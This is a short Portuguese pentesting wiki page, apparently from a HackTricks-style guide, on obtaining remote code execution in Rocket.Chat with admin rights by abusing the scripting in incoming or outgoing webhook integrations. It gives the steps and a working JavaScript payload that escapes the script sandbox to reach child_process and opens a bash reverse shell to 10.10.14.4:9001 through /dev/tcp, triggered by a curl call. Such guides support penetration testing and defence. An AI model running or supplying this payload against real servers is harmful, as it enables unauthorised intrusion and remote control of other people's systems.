## RCE

Se você for admin dentro do Rocket Chat, pode obter RCE.

* Vá para **`Integrations`** e selecione **`New Integration`** e escolha qualquer um: **`Incoming WebHook`** ou **`Outgoing WebHook`**.
* `/admin/integrations/incoming`

<figure><img src="../../.gitbook/assets/image (266).png" alt=""><figcaption></figcaption></figure>

* De acordo com a [documentação](https://docs.rocket.chat/guides/administration/admin-panel/integrations), ambos usam ES2015 / ECMAScript 6 ([basicamente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) para processar os dados. Então, vamos obter um [rev shell para javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) como:
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
* Configure o WebHook (o canal e a postagem como nome de usuário devem existir):

* Configure o script do WebHook:

* Salve as alterações
* Obtenha a URL do WebHook gerada:

* Chame-a com curl e você deve receber o rev shell
